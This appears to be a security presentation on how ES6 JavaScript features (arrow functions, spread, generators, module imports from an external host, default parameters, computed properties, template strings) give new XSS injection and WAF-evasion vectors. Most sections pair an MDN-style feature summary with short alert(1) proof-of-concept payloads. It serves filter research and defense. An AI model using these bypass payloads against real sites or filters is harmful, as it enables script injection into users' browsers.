An arrow function expression (also known as fat arrow function) has a shorter syntax compared to function expressions and lexically binds the this value. Arrow functions are always anonymous.
You get to skip typing function and return, as well as some parentheses, braces, and a semicolon.
var a = [
"Hydrogen",
"Helium",
"Lithium",
"Beryllium"
];
var a2 = a.map(function(s){ return s.length });
var a3 = a.map( s => s.length );
>> Array [ 8, 6, 7, 10 ]
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions
Lack of Curlies
It might help in scenarios, where an injection or sandbox bypass has trouble getting a reference to window or any other global object.
Lack of parentheses
($=>this)();
>> Window {top: Window, ..., document: document, external: Object,}
The for...of statement creates a loop Iterating over iterable objects (including Array, Map, Set, arguments object and so on), invoking a custom iteration hook with statements to be executed for the value of each distinct property.
var arr = ["A","B","C"];
>> ["A", "B", "C"]
for (i in arr) {console.log(i);}
>> 0 1 2
for (i of arr) {console.log(i);}
>> A B C
https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/for...of
It might facilitate shortening of attack vectors in the sense that it saves the characters that would be otherwise necessary if a for...in statement was chosen.
arr = [$=>alert(1)];
for (i of arr) { i() }
>> Function Execution!
The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.
console.log(...'abc')
>> "a","b","c"
console.dir(...'abc')
>> "a"
function myFunction(x, y, z) { }
var args = [0, 1, 2];
myFunction(...args);
var merge = ['b', 'c'];
console.dir(['a', ...merge, 'd', 'e'])
>> ["a", "b", "c", "d", "e"]
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator
Note: It can only be used with objects that are iterable. But functions containing the yield keyword (i.e., Generators) are automatically flagged to be iterable too, so the bandwidth of objects a spread operator can work with is actually quite large
var a = { hello: eval };
var b = Iterator(a);
[...b][0][1]('alert(1)')
>> Function Execution!
function* a(){ yield eval }
console.log(...a())
>> function eval()
[...a()][0]('alert(1)')
>> Function Execution!
Object.prototype[Symbol.iterator] = String.prototype[Symbol.iterator];
[...Object]
>>Array [ "f", "u", "n", "c", "t", "i", "o", "n", " ", "O", 29 more… ]
Simply borrow the functionality of an iterable and inject it into a non-iterable.
The import statement is used to import functions that have been exported from an external module, another script, etc. An import from one side requires an export on the other side to work, so only code that is offered as a library can actually be imported and used by others.
//------ lib.js ------
export const sqrt = Math.sqrt;
export function square(x) {
return x * x;
}
export function diag(x, y) {
return sqrt(square(x) + square(y));
}
//------ main.js ------
import { square, diag } from 'lib';
console.log(square(11));
>> 121
console.log(diag(4, 3));
>> 5
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import
Modules might have great impact on browser and web security, as they allow fetching and processing of external resources, and henceforth have to follow a large set of complex rules to work nicely in a browser environment.
//------ module ------
export function $(){}
alert(1)
import {$} from "//html5sec.org/module"
export * from "//html5sec.org/module"
//------ module2 ------
export function i(){return alert}
import {i} from '//html5sec.org/module2'
i```1`
Default function parameters allow formal parameters to be initialized with default values if no value or undefined is passed.
function multiply(a, b = 1) {
return a*b;
}
multiply(5);
>> 5
function singularAutoPlural(singular, plural = singular+"s",
rallyingCry = plural+" ATTACK!!!") {
return [singular, plural, rallyingCry ];
}
singularAutoPlural("Gecko");
>> ["Gecko","Geckos", "Geckos ATTACK!!!"]
singularAutoPlural("Fox","Foxes");
>> ["Fox","Foxes", "Foxes ATTACK!!!"]
singularAutoPlural("Deer", "Deer", "Deer ... change.")
>> ["Deer", "Deer", "Deer ... change."]
https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/default_parameters
Now it is possible to make use of an injection into that part of a function declaration, which we formerly knewn and loved as a usual dead-end. The execution occurs in the function scope but before the body of the function is available.
function a(a=alert(1)){};
a();
>> Function Executed!
function a(a, b, c, d=alert(arguments[0]),e=alert(abc)){
var abc = 2;
};
a(1,2,3);
>> Function Executed! | Function Executed with undefined.
Computed property names allow you to put an expression in brackets [], that will be computed as the property name.
var prop = "foo";
var o = {
[prop]: "hey",
["b" + "ar"]: "there",
};
o;
>> Object { foo: "hey", bar: "there" }
obj = {
['h'+'ello']() {
return 'hi';
}
};
obj.hello();
>> "hi"
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer
Computed Properties as the name indicates, allow for code execution where the property name should be - and it takes what the code returns as its name.
a={[1+1]: 1};
a
>> Object { 2: 1 }
({[alert(1)]: 1})
>> Function Executed!
A shorter syntax for method definitions on objects initializers is introduced. It is a shorthand for a function assigned to the method's name.
//Old Way
var obj = {
foo: function() {},
bar: function() {}
};
//New Way
var obj = {
foo() {},
bar() {}
};
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions
Declaring the property name and the function name independently was quite expressive. This nice short version combines both. No more anonymous functions!
//Traditional.
obj = { foo: function foo() { alert(1) } };
//Shorthand Methods.
obj = { foo() { alert(1) } }
//No curly braces because code block is only a single expression.
var obj = { foo() alert(1) }
//Just to avoid obj.foo()
var obj = {get foo() alert(1) }
//The valueOf() method returns the primitive value of the specified object.
+{valueOf() {alert(1)}}
//Wait...
+{valueOf() alert(1)}
Template strings are string literals allowing embedded expressions. You can use multi-line strings and string interpolation features with them.
`string text`
//Multiline Strings
`string text line 1 \nstring text line 2`
//Expression Interpolation
`string text ${expression} string text`
//Tagged Templates
tag `string text ${expression} string text`
var a = 5;
var b = 10;
console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
>> "Fifteen is 15 and
>> not 20."
https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/template_strings
Note: We don’t really call the function but rather decorate the string with an output from the function. So it’s a tagged template and not a different way to call alert.
WAF and IDS need to be updated as we can see back-tick now have a function.
alert`1`
``.constructor.constructor`alert\`1\````
+{[alert`1`]: 1}
+{valueOf:$=>alert`1`}
eval.call`${'alert\x28document.domain)'}`
[].every.call`eval\x28name)${eval}`
Presentation:
by Renato Rodrigues | @simps0n | pathonproject.com
Content by:
Tony Delfino
Images by: